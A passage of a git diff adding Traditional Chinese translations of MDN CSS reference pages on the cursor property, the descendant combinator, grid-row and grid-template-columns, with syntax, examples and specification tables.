+    <td><img alt="all-scroll.gif" src="/@api/deki/files/3433/=all-scroll.gif" style="height: 26px; width: 26px;"></td>
+    <td>Something can be scrolled in any direction (panned).<br>
+     {{bug("275174")}}: On Windows, <code>all-scroll</code> is the same as <code>move</code>.</td>
+   </tr>
+   <tr style="cursor: col-resize;">
+    <td><code>col-resize</code></td>
+    <td><img alt="col-resize.gif" src="/@api/deki/files/3435/=col-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td>The item/column can be resized horizontally. Often rendered as arrows pointing left and right with a vertical bar separating them.</td>
+   </tr>
+   <tr style="cursor: row-resize;">
+    <td><code>row-resize</code></td>
+    <td><img alt="row-resize.gif" src="/@api/deki/files/3451/=row-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td>The item/row can be resized vertically. Often rendered as arrows pointing up and down with a horizontal bar separating them.</td>
+   </tr>
+   <tr style="cursor: n-resize;">
+    <td><code>n-resize</code></td>
+    <td><img alt="Example of a resize towards the top cursor" src="/files/4083/n-resize.gif" style="border-style: solid; border-width: 0px; height: 26px; width: 26px;"></td>
+    <td rowspan="8" style="cursor: auto;">Some edge is to be moved. For example, the <code>se-resize</code> cursor is used when the movement starts from the <em>south-east</em> corner of the box.<br>
+     In some environments, an equivalent bidirectional resize cursor is shown. For example, <code>n-resize</code> and <code>s-resize</code> are the same as <code>ns-resize</code>.</td>
+   </tr>
+   <tr style="cursor: e-resize;">
+    <td><code>e-resize</code></td>
+    <td><img alt="Example of a resize towards the right cursor" src="/files/4085/e-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: s-resize;">
+    <td><code>s-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom cursor " src="/files/4087/s-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: w-resize;">
+    <td><code>w-resize</code></td>
+    <td><img alt="Example of a resize towards the left cursor" src="/files/4089/w-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: ne-resize;">
+    <td><code>ne-resize</code></td>
+    <td><img alt="Example of a resize towards the top-right corner cursor" src="/files/4091/ne-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: nw-resize;">
+    <td><code>nw-resize</code></td>
+    <td><img alt="Example of a resize towards the top-left corner cursor" src="/files/4093/nw-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: se-resize;">
+    <td><code>se-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom-right corner cursor" src="/files/4097/se-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: sw-resize;">
+    <td><code>sw-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom-left corner cursor" src="/files/4095/sw-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: ew-resize;">
+    <td><code>ew-resize</code></td>
+    <td><img alt="3-resize.gif" class="default" src="/files/3806/3-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td rowspan="4" style="cursor: auto;">Bidirectional resize cursor.</td>
+   </tr>
+   <tr style="cursor: ns-resize;">
+    <td><code>ns-resize</code></td>
+    <td><img alt="6-resize.gif" class="default" src="/files/3808/6-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: nesw-resize;">
+    <td><code>nesw-resize</code></td>
+    <td><img alt="1-resize.gif" class="default" src="/files/3805/1-resize.gif"></td>
+   </tr>
+   <tr style="cursor: nwse-resize;">
+    <td><code>nwse-resize</code></td>
+    <td><img alt="4-resize.gif" class="default" src="/files/3807/4-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: -webkit-zoom-in; cursor: zoom-in;">
+    <th rowspan="2" scope="row" style="cursor: auto;">縮放</th>
+    <td><code>zoom-in</code></td>
+    <td><img alt="zoom-in.gif" class="default" src="/@api/deki/files/3459/=zoom-in.gif"></td>
+    <td rowspan="2" style="cursor: auto;">
+     <p>Something can be zoomed (magnified) in or out.</p>
+    </td>
+   </tr>
+   <tr style="cursor: -webkit-zoom-out; cursor: zoom-out;">
+    <td><code>zoom-out</code></td>
+    <td><img alt="zoom-out.gif" class="default" src="/@api/deki/files/3460/=zoom-out.gif"></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="公式語法">公式語法</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush:css">.foo {
+  cursor: crosshair;
+}
+
+.bar {
+  cursor: zoom-in;
+}
+
+/* A fallback keyword value is required when using a URL */
+.baz {
+  cursor: url("hyper.cur"), auto;
+}
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#cursor', 'cursor')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Addition of several keywords and the positioning syntax for <code>url()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#cursor-props', 'cursor')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("css.properties.cursor")}}</p>
+
+<h2 id="參照">參照</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_URL_values_for_the_cursor_property" title="Using URL values for the cursor property">Using URL values for the cursor property</a></li>
+ <li>{{cssxref("pointer-events")}}</li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/aa358795.aspx">Cursor Property (MSDN)</a></li>
+</ul>
diff --git a/files/zh-tw/web/css/descendant_combinator/index.html b/files/zh-tw/web/css/descendant_combinator/index.html
new file mode 100644
index 0000000000..6fe82cfc8d
--- /dev/null
+++ b/files/zh-tw/web/css/descendant_combinator/index.html
@@ -0,0 +1,121 @@
+---
+title: 後裔選擇器
+slug: Web/CSS/Descendant_combinator
+tags:
+  - CSS
+  - CSS參考
+  - Selectors
+  - 初學者
+  - 選擇器
+translation_of: Web/CSS/Descendant_combinator
+---
+<p><span class="s1">{{CSSRef("Selectors")}}</span></p>
+
+<h2 id="Summary" name="Summary">簡介</h2>
+
+<p><code>␣</code> 組合符號 (代表空白, 或更精準地說，代表一或多個空白字元) 結合了兩種選擇器，選擇了只有當第二個選擇器的目標為第一個選擇器目標的後裔時的元素，後裔選擇器跟<a href="/en/CSS/Child_selectors" title="en/CSS/Child selectors">子選擇器</a>相似，但是不要求披對的元素要是嚴格是父子關係。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="eval">selector1 selector2 { <em>style properties</em> }
+</pre>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<pre class="brush: css">span { background-color: white; }
+div span { background-color: DodgerBlue; }
+</pre>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;Span 1.
+    &lt;span&gt;Span 2.&lt;/span&gt;
+  &lt;/span&gt;
+&lt;/div&gt;
+&lt;span&gt;Span 3.&lt;/span&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Example', 200, 50) }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#descendant-combinators', 'descendant combinator') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#descendant-combinators', 'descendant combinator') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#descendant-selectors', 'descendant selectors') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#contextual-selectors', 'contextual selectors') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/css/grid-row/index.html b/files/zh-tw/web/css/grid-row/index.html
new file mode 100644
index 0000000000..d7c3ed1543
--- /dev/null
+++ b/files/zh-tw/web/css/grid-row/index.html
@@ -0,0 +1,194 @@
+---
+title: grid-row
+slug: Web/CSS/grid-row
+translation_of: Web/CSS/grid-row
+---
+<h2 id="Summary">Summary </h2>
+
+<p>The <code>grid-row</code> CSS property is a <a href="/en-US/docs/Web/CSS/Shorthand_properties">shorthand</a> property for {{cssxref("grid-row-start")}} and {{cssxref("grid-row-end")}} specifying a grid item’s size and location within the grid row by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the inline-start and inline-end edge of its {{glossary("grid areas", "grid area")}}.</p>
+
+<p>If two &lt;grid-line&gt; values are specified, the <code>grid-row-start</code> longhand is set to the value before the slash, and the <code>grid-row-end</code> longhand is set to the value after the slash.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css">/* Keyword values */
+grid-row: auto;
+grid-row: auto / auto;
+
+/* &lt;custom-ident&gt; values */
+grid-row: somegridarea;
+grid-row: somegridarea / someothergridarea;
+
+/* &lt;integer&gt; + &lt;custom-ident&gt; values */
+grid-row: somegridarea 4;
+grid-row: 4 somegridarea / 6;
+
+/* span + &lt;integer&gt; + &lt;custom-ident&gt; values */
+grid-row: span 3;
+grid-row: span somegridarea;
+grid-row: 5 somegridarea span;
+grid-row: span 3 / 6;
+grid-row: span somegridarea / span someothergridarea;
+grid-row: 5 somegridarea span / 2 span;
+
+/* Global values */
+grid-row: inherit;
+grid-row: initial;
+grid-row: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement, an automatic span, or a default span of <code>1</code>.</dd>
+ <dt><code>&lt;custom-ident&gt;</code></dt>
+ <dd>If there is a named line with the name '&lt;custom-ident&gt;-start'/'&lt;custom-ident&gt;-end', it contributes the first such line to the grid item’s placement.
+ <p class="note"><strong>Note:</strong> Named grid areas automatically generate implicit named lines of this form, so specifying <code>grid-row: foo;</code> will choose the start/end edge of that named grid area (unless another line named <code>foo-start</code>/<code>foo-end</code> was explicitly specified before it).</p>
+
+ <p>Otherwise, this is treated as if the integer <code>1</code> had been specified along with the <code>&lt;custom-ident&gt;</code>.</p>
+ </dd>
+ <dt><code>&lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;?</code></dt>
+ <dd>Contributes the nth grid line to the grid item’s placement. If a negative integer is given, it instead counts in reverse, starting from the end edge of the explicit grid.
+ <p>If a name is given as a &lt;custom-ident&gt;, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position.</p>
+
+ <p>An {{cssxref("integer")}} value of <code>0</code> is invalid.</p>
+ </dd>
+ <dt><code>span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ]</code></dt>
+ <dd>Contributes a grid span to the grid item’s placement such that the corresponding edge of the grid item’s grid area is n lines from the opposite edge.
+ <p>If a name is given as a &lt;custom-ident&gt;, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span.</p>
+
+ <p>If the &lt;integer&gt; is omitted, it defaults to <code>1</code>. Negative integers or 0 are invalid.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="item1"&gt;&lt;/div&gt;
+  &lt;div id="item2"&gt;&lt;/div&gt;
+  &lt;div id="item3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css; highlight[14,19]">#grid {
+  display: grid;
+  height: 200px;
+  grid-template-columns: 200px;
+  grid-template-rows: repeat(6, 1fr);
+}
+
+#item1 {
+  background-color: lime;
+}
+
+#item2 {
+  background-color: yellow;
+  grid-row: 2 / 4;
+}
+
+#item3 {
+  background-color: blue;
+  grid-row: span 2 / 7;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Example", "200px", "200px")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-row", "grid-row")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.grid-row")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-column")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement with CSS Grid</a></em></li>
+ <li>Video tutorial: <em><a href="http://gridbyexample.com/video/series-line-based-placement/">Line-based placement</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-colunms</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/zh-tw/web/css/grid-template-columns/index.html b/files/zh-tw/web/css/grid-template-columns/index.html
new file mode 100644
index 0000000000..31ef2b30b3
--- /dev/null
+++ b/files/zh-tw/web/css/grid-template-columns/index.html
@@ -0,0 +1,196 @@
+---
+title: 网格模板列
+slug: Web/CSS/grid-template-columns
+tags:
+  - CSS
+  - CSS網格
+  - 列子
+translation_of: Web/CSS/grid-template-columns
+---
+<h2 id="Summary">Summary</h2>
+
+<p>The <code>grid-template-columns</code> CSS property defines the line names and track sizing functions of the {{glossary("grid column", "grid columns")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css">/* Keyword value */
+grid-template-columns: none;
+
+/* &lt;track-list&gt; values */
+grid-template-columns: 100px 1fr;
+grid-template-columns: [linename] 100px;
+grid-template-columns: [linename1] 100px [linename2 linename3];
+grid-template-columns: minmax(100px, 1fr);
+grid-template-columns: fit-content(40%);
+grid-template-columns: repeat(3, 200px);
+
+/* &lt;auto-track-list&gt; values */
+grid-template-columns: 200px repeat(auto-fill, 100px) 300px;
+grid-template-columns: minmax(100px, max-content)
+                       repeat(auto-fill, 200px) 20%;
+grid-template-columns: [linename1] 100px [linename2]
+                       repeat(auto-fit, [linename3 linename4] 300px)
+                       100px;
+grid-template-columns: [linename1 linename2] 100px
+                       repeat(auto-fit, [linename1] 300px) [linename3];
+
+/* Global values */
+grid-template-columns: inherit;
+grid-template-columns: initial;
+grid-template-columns: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Is a keyword meaning that there is no explicit grid. Any columns will be implicitly generated and their size will be determined by the {{cssxref("grid-auto-columns")}} property.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Is a non-negative length.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Is a non-negative {{cssxref("percentage", "&lt;percentage&gt;")}} value relative to the inline size of the grid container. If the size of the grid container depends on the size of its tracks, then the percentage must be treated as <code>auto</code>.<br>
+ The intrinsic size contributions of the track may be adjusted to the size of the grid container and increase the final size of the track by the minimum amount that would result in honoring the percentage.</dd>
+ <dt><code>&lt;flex&gt;</code></dt>
+ <dd>Is a non-negative dimension with the unit <code>fr</code> specifying the track’s flex factor. Each <code>&lt;flex&gt;</code>-sized track takes a share of the remaining space in proportion to its flex factor.
+ <p>When appearing outside a <code>minmax()</code> notation, it implies an automatic minimum (i.e. <code>minmax(auto, &lt;flex&gt;)</code>).</p>
+ </dd>
+ <dt id="max-content"><code>max-content</code></dt>
+ <dd>Is a keyword representing the largest maximal content contribution of the grid items occupying the grid track.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Is a keyword representing the largest minimal content contribution of the grid items occupying the grid track.</dd>
+ <dt><code>{{cssxref("minmax", "minmax(min, max)")}}</code></dt>
+ <dd>Is a functional notation that defines a size range greater than or equal to <em>min</em> and less than or equal to <em>max</em>. If <em>max</em> is smaller than <em>min</em>, then <em>max</em> is ignored and the function is treated as <em>min</em>. As a maximum, a <code>&lt;flex&gt;</code> value sets the track’s flex factor. It is invalid as a minimum.</dd>
+ <dt id="auto"><code>auto</code></dt>
+ <dd>Is a keyword that is identical to maximal content if it's a maximum. As a minimum it represents the largest minimum size (as specified by {{cssxref("min-width")}}/{{cssxref("min-height")}}) of the grid items occupying the grid track.</dd>
+ <dd>
+ <p class="note">Note: <code>auto</code> track sizes (and only <code>auto</code> track sizes) can be stretched by the {{cssxref("align-content")}} and {{cssxref("justify-content")}} properties.</p>
+ </dd>
+ <dt id="fit-content()"><code>{{cssxref("fit-content", "fit-content( [ &lt;length&gt; | &lt;percentage&gt; ] )")}}</code></dt>
+ <dd>Represents the formula <code>min(max-content, max(auto, <var>argument</var>))</code>, which is calculated similar to <code>auto</code> (i.e. <code>minmax(auto, max-content)</code>), except that the track size is clamped at <var>argument</var> if it is greater than the <code>auto</code> minimum.</dd>
+ <dt>{{cssxref("repeat", "repeat( [ &lt;positive-integer&gt; | auto-fill | auto-fit ] , &lt;track-list&gt; )")}}</dt>
+ <dd>Represents a repeated fragment of the track list, allowing a large number of columns that exhibit a recurring pattern to be written in a more compact form.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">#grid {
+  display: grid;
+  width: 100%;
+  grid-template-columns: 50px 1fr;
+}
+
+#areaA {
+  background-color: lime;
+}
+
+#areaB {
+  background-color: yellow;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="areaA"&gt;A&lt;/div&gt;
+  &lt;div id="areaB"&gt;B&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Examples", "100%", "20px")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-template-columns", "grid-template-columns")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.grid-template-columns")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-template")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Grid_Tracks">Basic concepts of grid layout - Grid Tracks</a></em></li>
+ <li>Video tutorial: <em><a href="http://gridbyexample.com/video/series-define-a-grid/">Defining a Grid</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
